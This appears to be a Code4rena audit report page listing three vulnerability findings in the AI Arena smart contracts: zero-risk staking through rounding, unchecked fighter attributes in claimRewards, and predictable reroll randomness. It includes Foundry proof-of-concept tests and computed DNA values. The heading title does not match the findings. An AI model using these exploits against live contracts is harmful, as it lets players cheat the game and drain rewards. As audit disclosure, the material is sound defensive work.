AI Arena - Silvermist's results

Judge has assessed an item in Issue #2021 as 3 risk. The relevant finding follows:

User can execute reRoll with different fighterType

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L416-L500 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L530-L532

Vulnerability details

Impact

_addResultPoints function is an internal function that is executed throught the updateBattleRecord. It is executed on every battle to update user's win or lost.

There are 4 scenarios on win/lose. We will look at the 4th one. If the user doesn't have points from previous winnings, his NRN will be staked at risk.

At the beginning of the function there is curStakeAtRisk variable which calculates what amount will be staked at risk in the event of a loss. We can ealily make that variable round down to zero which will stake at risk 0 amount. It is not possible to fight with 0 stake amount, because updateBattleRecord will not execute, so there should be only a small staked amount to pass the if inside _addResultPoints function.

        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

Points are calculated using stakingFactor[tokenId] and the eloFactor. The stakingFactor is 1 but the eloFactor will be 1500 at first which would be 1500 points.

        points = stakingFactor[tokenId] * eloFactor; 

Points are used to calculated mergingPoints which are transfered to MergingPool and later with that mergingPoints the user can get fighter. Also, with accumulated points user can claim NRN.

That would make the user play with zero risk because if he lose, nothing will be stake at risk, but if he win, he will get points.

Proof of Concept

Paste the following test unside test/StakeAtRisk.sol

function testPlayWithZeroStakeAtRisk() public {
        address player = vm.addr(3);
        uint256 stakeAmount = 0.00000000000000001 * 10 ** 18; // User stakes 10 wei
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(stakeAmount, 0);
        assertEq(_rankedBattleContract.amountStaked(0), stakeAmount);

        // first loss
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, 0), 0); // zero stake at risk

        // second loss
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, 0), 0); // zero stake at risk

        // first win user gets 750 points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, 0), 750);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

If the stakingFactor is 0, don't make it 1, because that allows users to stake small amounts and since get points.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

On wins user accumulate points with which later he can create fighters for free. If admin select him as a winner for the current round, the user can mint new fighters with claimRewards and he is allowed to select his fighter main traits - element and weight.

The "weight" must be between 65 and 95, and for "element" the range from which it can be selected is [0, 1, 2]. However, when creating figther with claimRewards, there is no check to ensure that the user has provide values in the acceptable range.

In worst case scenario, the user can set his element and weight to uint256.max and he will be unbeatable.

Proof of Concept

Paste the following test inside test/MergingPool.t.sol

    function testSetWeightAndElementOutOfBound() public {
        address alice = vm.addr(3);
        _mintFromMergingPool(alice);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        _mergingPoolContract.pickWinner(_winners);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = type(uint256).max;
        _customAttributes[0][1] = type(uint256).max;
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        vm.prank(alice);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        (,, uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);
        assertEq(weight, type(uint256).max);
        assertEq(element, type(uint256).max);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Ensure the values of the customAttributes are in the accepted bounds before creating the fighter.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379

Vulnerability details

Impact

The idea behind reRoll function is if a user don't like his fighter traits to reroll it and get new random traits for his fighter. There is a risk with rerolling since a user don't know if his new traits won't be worse than the previous one. However, it is possible for the user to see on which reRoll he would get the best traits which eliminates the risk of getting traits that the user won't like.

The element and weight are most important and they determine the strength of the character. They are calculated using the dna with _createFighterBaselcf function. The dna is formed from a hash using the msg.sender address, the tokenId and the numRerolls[tokenId]. The first two stay the same, only the last one changes because the user can reroll 3 times, and the it will be the num of the reroll.

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

All three are visible for the user and he can generate(for example in Remix) all 10 dna and then calculate the element and weight with all of the 3 dna.

uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;

The user can see at which reroll he gets the best element and weight and just stop rerolling there.

Proof of Concept

I used this address 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 and here are the dna, element and weight between which the user can select.

  DNA: 73747384837588875013076502863622612629744493648783255289978786402972110852676
  Element: 1
  Weight: 67
  DNA: 70742767720407506617706205860278856454509642627510774930151379681016636750683
  Element: 1
  Weight: 82
  DNA: 14757524629653434101356183510721088934208368316822333880674583542636682977844
  Element: 2
  Weight: 69

Tools Used

Manual Review

Recommended Mitigation Steps

Use Chainlink's VRF if randomness is desired

Assessed type

Other